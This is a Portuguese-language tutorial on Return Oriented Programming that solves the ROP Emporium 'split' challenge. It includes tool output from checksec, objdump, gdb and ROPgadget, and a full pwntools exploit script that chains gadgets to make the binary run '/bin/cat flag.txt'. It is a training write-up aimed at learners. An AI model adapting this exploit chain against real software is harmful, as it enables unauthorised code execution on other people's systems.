... * . _ . * . * . * (_) * w00h . |* .. * .. wOOh . * \| * ___ . . * * \/ |/ \/{o,o} . Using ROP _\_\ | / /) )* _/_ * like a ROPE X) \ \| /,--"-"--- .. _-----` |(,__,__/__/_ . \ || .. w0Oh made by ||| . * wO0h T0k1To ||| ||| , -=-~' .-^- _ ` ~ Directly from the internet manholes! ---[ The History Já adianto que para compreensão do assunto abordado, eu recomendo conhecimento em arquitetura de computadores, arquitetura de sistemas operacionais, conceitos básicos de memória(suas regiões), e uma breve introdução de como funciona um buffer overflow. Não é de hoje que eu venho me interessando por assuntos envolvendo low-level, porém se existe um tópico que eu pouco havia adentrado em meus estudos, esse assunto com toda a certeza é binary exploitation. Então, tudo isso que aqui está escrito, provavelmente é fruto de alguns resumos que fiz enquanto estudava, agora chega de balela, e vamos para a tão esperada introdução a Return Oriented Programming, também conhecida como ROP! ---[ Introduction Antes de simplesmente explicar como funciona ROP, eu acho interessante entendermos o porque essa técnica se popularizou, então vamos para um pouco de background agora... Antigamente para explorar um buffer overflow na stack, era comum escrever shellcodes e executalos na stack, porém com o surgimento de uma proteção chamada NX bit, isso se tornou algo inviavel; essa proteção faz da stack uma região de memória não executavel. Então a alternativa encontrada foi simplesmente reutilizar do código já existente no binário, e foi assim que surgiu o uso de ROP, ou Return Oriented Programming. ---[ Stack Overview Eu comecei a escrever isso supondo que você saiba o que é a stack, mas se eu pudesse fazer um "resumo do resumo", eu acho que não seria o suficiente para compreensão. Pensando nisso, eu decidi deixar algumas referências de leitura aqui, caso necessário acredito que podemos conversar sobre o assunto, me contatar não é muito difícil. Referencias de leitura em PT_br: https://gitbook.ganeshicmc.com/engenharia-reversa/pilha https://pt.stackoverflow.com/questions/3797/o-que-s%C3%A3o-e-onde-est%C3%A3o-a-stack-e-heap /* Convenções de Chamada */ http://www.ece.ufrgs.br/~fetter/eng10032/lab04.pdf Referencias de leitura em EN_us: https://exploit.courses/files/bfh2022/day1/ https://www.makeuseof.com/stack-and-heap-memory-allocation/ /* Calling Conventions */ https://en.wikipedia.org/wiki/Calling_convention https://aaronbloomfield.github.io/pdr/book/x86-64bit-ccc-chapter.pdf ---[ The Return Oriented Programming O conceito de ROP é algo relativamente simples, mas a prática pode ser complexa. ROP resumidamente consiste em usar de uma sequência de instruções disponiveis no binário, ou nas bibliotecas presentes no programa. Essa sequência de instruções são chamadas de gadgets. Os gadgets podem ser "classificados" como intencionais, sendo esses aqueles que o desenvolvedor propositalmente deixou no programa, e os não intencionais, que como você deve imaginar, eles estão presentes sem a consciência do desenvolvedor. Basicamente para explorarmos ROP, precisamos retornar ROP gadgets. ---[ What the Fuck are ROP gadgets? ROP gadgets assim como eu disse anteriormente, são pequenas sequências de instruções terminadas com um "ret", representado por um byte "c3". Como um ROP gadget sempre deve terminar com um "ret" para nos permitir realizar nossas tarefas, surgiu o nome de "Orientado a Retorno", por isso Return Oriented Programming. Uma das formas para encontrar esses gadgets, é seguir os 3 seguintes passos: 1) Procurar no binário por todos os bytes que representam "ret" (c3). 2) Garantimos que antes dos bytes c3, temos uma instrução válida, por convenção nas arquiteturas x86(i386) e x86-64 que possuí 20 bytes. 3) Em seguida, gravamos todas as sequências de instruções válidas encontradas no binário ou nas bibliotecas vinculadas. Entretanto, nesse paper utilizaremos de uma ferramenta para facilitar a descoberta desses gadgets, mas não se preocupe com isso por agora. ---[ How can i use this shit?! Podemos fazer uma infinidade de coisas com gadgets, mas basicamente podemos usar deles para executar qualquer instrução, se a sequência de instruções correta for encontrada. Porém, como você deve imaginar, nem todo o gadget é útil, sendo interessante ter em mente alguns exemplos de gadgets que possivelmente ajudarão no processo de explorar ROP. Tudo fará mais sentido quando praticarmos. ---[ Exploiting Stack Overflow using ROP gadgets Depois desse background todo, iremos explorar 'ROP' em um binário vulnerável disponível em ropemporium.com, o desafio é chamado de "Split". Para solucionar esse desafio, precisamos montar uma pequena 'ROP Chain'. OBS: ROP Chain é o nome dado a uma cadeia/sequência de ROP gadgets. O nosso objetivo é usar deste binário para ler um arquivo chamado flag.txt. 4g0r4 ch3g0u 4 h0r4 d4 m4ld4d3, t1r3m 45 cr14nç45 d4 s4l4... Vamos começar fazendo download do arquivo zip, e extraí-lo. [-----] absolute@evil > curl https://ropemporium.com/binary/split.zip -o split.zip % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3096 100 3096 0 0 2126 0 0:00:01 0:00:01 --:--:-- 2129 absolute@evil > unzip split.zip Archive: split.zip inflating: split extracting: flag.txt [-----] Feito isso temos nossos preparativos prontos para iniciar o challenge, porém eu usarei algumas ferramentas para facilitar o processo, então caso queiram ver os projetos: -------------------------------------------------------------------------------------- | | | https://github.com/slimm609/checksec.sh | | | | objdump, strings e nm - Três ferramentas que fazem parte do pacote GNU Binutils | | | | https://github.com/JonathanSalwan/ROPgadget | | | | Utilizarei GDB com a extensão chamada pwndbg - https://github.com/pwndbg/pwndbg | | | -------------------------------------------------------------------------------------- Vamos usar o checksec para checkar as proteções do binário, e algumas informações... [-----] absolute@evil > checksec --file=split RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols No 0 3split HuNm nesse caso o binário possuí 'NX Bit enabled', o que faz da stack uma região de de memória não executável. Sabendo disso, eu decidi fazer uma análise estática do binário. absolute@evil > nm -g -C split 0000000000601072 B __bss_start 0000000000601050 D __data_start 0000000000601050 W data_start 00000000004005e0 T _dl_relocate_static_pie 0000000000601058 D __dso_handle 0000000000601072 D _edata 0000000000601088 B _end 00000000004007d4 T _fini w __gmon_start__ 0000000000400528 T _init 00000000004007e0 R _IO_stdin_used 00000000004007d0 T __libc_csu_fini 0000000000400760 T __libc_csu_init U __libc_start_main@@GLIBC_2.2.5 0000000000400697 T main U memset@@GLIBC_2.2.5 U printf@@GLIBC_2.2.5 U puts@@GLIBC_2.2.5 U read@@GLIBC_2.2.5 U setvbuf@@GLIBC_2.2.5 00000000004005b0 T _start 0000000000601078 B stdout@@GLIBC_2.2.5 U system@@GLIBC_2.2.5 0000000000601078 D __TMC_END__ 0000000000601060 D usefulString [-----] Comecei listando algumas funções no binário, porém isso não é o suficiente mas é um começo, pois o output nos retornou o uso de 'system()' dentro do binário. Além disso, ele nos retorna um label chamado usefulString, irei salvar esse address. [-----] absolute@evil > objdump -M x86-64 -d split 0000000000400697 main: 400697: 55 push %rbp 400698: 48 89 e5 mov %rsp,%rbp 40069b: 48 8b 05 d6 09 20 00 mov 0x2009d6(%rip),%rax # 601078 stdout@GLIBC_2.2.5 4006a2: b9 00 00 00 00 mov $0x0,%ecx 4006a7: ba 02 00 00 00 mov $0x2,%edx 4006ac: be 00 00 00 00 mov $0x0,%esi 4006b1: 48 89 c7 mov %rax,%rdi 4006b4: e8 e7 fe ff ff call 4005a04006b9: bf e8 07 40 00 mov $0x4007e8,%edi 4006be: e8 8d fe ff ff call 400550 4006c3: bf fe 07 40 00 mov $0x4007fe,%edi 4006c8: e8 83 fe ff ff call 400550 4006cd: b8 00 00 00 00 mov $0x0,%eax 4006d2: e8 11 00 00 00 call 4006e8 4006d7: bf 06 08 40 00 mov $0x400806,%edi 4006dc: e8 6f fe ff ff call 400550 4006e1: b8 00 00 00 00 mov $0x0,%eax 4006e6: 5d pop %rbp 4006e7: c3 ret 00000000004006e8 pwnme: 4006e8: 55 push %rbp 4006e9: 48 89 e5 mov %rsp,%rbp 4006ec: 48 83 ec 20 sub $0x20,%rsp 4006f0: 48 8d 45 e0 lea -0x20(%rbp),%rax 4006f4: ba 20 00 00 00 mov $0x20,%edx 4006f9: be 00 00 00 00 mov $0x0,%esi 4006fe: 48 89 c7 mov %rax,%rdi 400701: e8 7a fe ff ff call 400580 memset@plt 400706: bf 10 08 40 00 mov $0x400810,%edi 40070b: e8 40 fe ff ff call 400550 puts@plt 400710: bf 3c 08 40 00 mov $0x40083c,%edi 400715: b8 00 00 00 00 mov $0x0,%eax 40071a: e8 51 fe ff ff call 400570 printf@plt 40071f: 48 8d 45 e0 lea -0x20(%rbp),%rax 400723: ba 60 00 00 00 mov $0x60,%edx 400728: 48 89 c6 mov %rax,%rsi 40072b: bf 00 00 00 00 mov $0x0,%edi 400730: e8 5b fe ff ff call 400590 read@plt 400735: bf 3f 08 40 00 mov $0x40083f,%edi 40073a: e8 11 fe ff ff call 400550 puts@plt 40073f: 90 nop 400740: c9 leave 400741: c3 ret 0000000000400742 usefulFunction: 400742: 55 push %rbp 400743: 48 89 e5 mov %rsp,%rbp 400746: bf 4a 08 40 00 mov $0x40084a,%edi 40074b: e8 10 fe ff ff call 400560 system@plt 400750: 90 nop 400751: 5d pop %rbp 400752: c3 ret 400753: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 40075a: 00 00 00 40075d: 0f 1f 00 nopl (%rax) [-----] Olhando melhor, vemos algumas funções aparentemente úteis. Sendo a 'main' aquela que tem consigo um input com um buffer, a função 'pwnme' que parece ler aquilo que foi 'inputado' pelo usuário, e a função usefulFunction que possuí uma chamada para system(). Sabendo que o nosso objetivo é ler um arquivo, poderemos usar desses gadgets. Eu ainda estou em dúvida, quais seriam os argumentos de system? Vamos descobrir! Decidi também ver o que era o endereço de 'usefulString'. [-----] absolute@evil > gdb -q split pwndbg: loaded 197 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from split... Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. (No debugging symbols found in split) pwndbg> x/s 0x0601060 0x601060 : "/bin/cat flag.txt" pwndbg> x/s 0x40084a 0x40084a: "/bin/ls" pwndbg> quit absolute@evil > strings -a -t x split 238 /lib64/ld-linux-x86-64.so.2 3b1 libc.so.6 3bb puts 3c0 printf 3c7 memset 3ce read 3d3 stdout 3da system 3e1 setvbuf 3e9 __libc_start_main 3fb GLIBC_2.2.5 407 __gmon_start__ 760 AWAVI 767 AUATL 7ba []A\A]A^A_ 7e8 split by ROP Emporium 7fe x86_64 807 Exiting 810 Contriving a reason to ask user for data... 83f Thank you! 84a /bin/ls 917 ;*3$" 1060 /bin/cat flag.txt 1072 GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 [-----] Aqui vemos algumas strings, uma delas é /bin/cat flag.txt, sendo usefulString também vemos que em usefulFunction, temos uma chamada para system() que chama /bin/ls. Utilizei o endereço do label que foi retornado no output do comando nm antes para confirmar o que era a label usefulString. Executaremos o programa para testar algumas coisas, vamos confirmar o que vimos anteriormente com o uso de strings... [-----] absolute@evil > ./split split by ROP Emporium x86_64 Contriving a reason to ask user for data... > userinputhere Thank you! Exiting Colocando essa string no input, ele nos retorna uma saída e fecha o programa. Porém, o que aconteceria se tentassemos estourar esse buffer? absolute@evil > ./split split by ROP Emporium x86_64 Contriving a reason to ask user for data... > iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii Thank you! Segmentation fault (core dumped) [-----] Aparentemente conseguimos um Segmentation fault, ou seja, algo que teoricamente não deveria acontecer quando inserimos uma quantia 'x' de 'bytes'. Já que já realizamos uma pequena análise do binário, dessa vez buscaremos especificamente por gadgets usando ROPgadget.py! [-----] absolute@evil > ROPgadget --binary split ...snipped.... 0x00000000004007c3 : pop rdi ; ret ...snipped... Encontramos um gadget antecedido por um registrador DI (Destination Index) que basicamente é responsável por pegar aquilo que está no topo da stack, e armazenar no registrador. RDI é um registrador que equivale a um dos argumentos da stack, nesse caso o primeiro e único (calling conventions). Mas para conseguir fazer com que a próxima instrução a ser executada seja o conteúdo do registrador DI, precisaremos manipular os valores do IP (Instruction Pointer). O Instruction Pointer, caso não se lembre, é responsável por apontar para a proxima instrução a ser executada. Iremos sobreescrever o valor do SP usando de uma técnica que ficou conhecida por usar De Bruijn Sequences para poder calcular exatamente o tamanho do deslocamento até o IP ou seja, usaremos disso para sabermos a quantia de bytes que devemos inserir para alterar o valor do Instruction Pointer. De Bruijn Sequences de ordem n, são simplesmente uma sequência de caracteres onde nenhuma sequência de n caracteres é repetida. Por padrão, usando o cyclic, n equivale a 4, ou seja, terão sequências de 4 caracteres onde nenhuma delas se repete. Vamos ver isso, na prática agora. absolute@evil > gdb -q split pwndbg: loaded 197 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from split... Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. (No debugging symbols found in split) pwndbg> cyclic 100 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa Copiaremos esse output, para usarmos dentro do input do programa. pwndbg> r Starting program: /home/infected/rop/split [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". split by ROP Emporium x86_64 Contriving a reason to ask user for data... >aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa Thank you! Program received signal SIGSEGV, Segmentation fault. 0x0000000000400741 in pwnme () --------------------------------[REGISTERS]------------------------------------ RAX 0xb RBX 0x7fffffffe7f8 —▸ 0x7fffffffeadc ◂— '/home/infected/rop/split' RCX 0x7ffff7eb49d4 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 RDI 0x7ffff7f98850 ◂— 0x0 RSI 0x7ffff7f97623 (_IO_2_1_stdout_+131) ◂— 0xf98850000000000a /* '\n' */ R8 0x4007d0 (__libc_csu_fini) ◂— ret R9 0x7ffff7fced70 ◂— endbr64 R10 0x7ffff7dc9bd0 ◂— 0xf001200001a3f R11 0x202 R12 0x0 R13 0x7fffffffe808 —▸ 0x7fffffffeaf5 ◂— 'SHELL=/bin/bash' R14 0x0 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2c0 ◂— 0x0 RBP 0x6161616a61616169 ('iaaajaaa') RSP 0x7fffffffe6d8 ◂— 0x6161616c6161616b ('kaaalaaa') RIP 0x400741 (pwnme+89) ◂— ret ------------------------------------------------------------------------------- Aqui podemos ver que o valor do Stack Pointer(SP) foi sobreescrito por 'kaaalaaa', mas para descobrir o deslocamento(offset) certo de bytes até o Instruction Pointer, utilizaremos apenas 4 caracteres, que representam a sequência de bruijin. pwndbg> cyclic -l kaaa 40 Sendo assim, a quantidade exata de bytes que devemos inserir para nos deslocarmos até o instruction pointer é 40, com isso já temos tudo o que precisamos para escrever nosso tão querido exploit. [-----] Utilizaremos do gadget que encontramos para montar nosso xpl01t de h4xx0r 1337! Para isso utilizaremos a biblioteca pwntools do python. ~~> xpl.py=============================================================== #!/usr/bin/env python3 from pwn import * if __name__ == "__main__": # Abre o binário "split" e desabilita a saida de checksec e = context.binary = ELF("./split", checksec=False) # Cria um processo com informações do binário obtidas anteriormente p = process(e.path) # Define o "lixo" que iremos inserir 40 bytes junk = b"i" * 40 # Nosso gadget coletado com ROPgadget.py --binary split (pop rdi;ret) gadget = p64(0x00000000004007c3) # Endereço de usefulString usefulString = p64(0x00601060) # Endereço de system system = p64(0x000000000040074b) # Definindo nosso payload, eu uso dos 40 bytes para nos deslocarmos # até o Instruction Pointer, e então acrescentamos o endereço do # nosso gadget que é consumido da stack e colocado em rip, assim # incrementando o sp; quando nosso gadget for executado, o valor de # usefulString será consumido da stack e salvo em rdi. Após isso o # gadget retorna e então system que está no topo da stack é consumida # e salva em rip assim executando o conteudo de usefulString. # (/bin/cat flag.txt) payload = junk payload += gadget payload += usefulString payload += system # Enviando nosso payload e exibindo o resultado p.sendlineafter(">", payload) print (p.recvall().decode("utf8")) ==================================================================EOF <~~ [-----] absolute@evil > python3 xpl.py [+] Starting local process '/home/absolute/split': pid 5531 /usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [+] Receiving all data: Done (119B) [*] Process '/home/absolute/split' stopped with exit code -11 (SIGSEGV) (pid 5531) b' Thank you!\nROPE{a_placeholder_32byte_flag!}\nsplit by ROP Emporium\nx86_64\n\nContriving a reason to ask user for data...\n' [-----] Bom, parece que chegamos ao fim! Espero ter ajudado alguém de alguma forma com isso, eu recomendo que faça outros desafios do ropemporium porque além de introdutórios, são ótimos. "Os lábios da sabedoria estão fechados, exceto aos ouvidos do Entendimento." - Caibalion . /^\ . /\ "V" /__\ I O o //..\\ I . \].`[/ I /l\/j\ (] . O /. ~~ ,\/I . \\L__j^\/I o \/--v} I o . | | I _________ | | I c(` ')o | l I \. ,/ _/j L l\_! _//^---^\\_ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ greetz: nusk, zing, kosu, ghosthk and spy_unkn0wn Free Knowledge for those who desired for it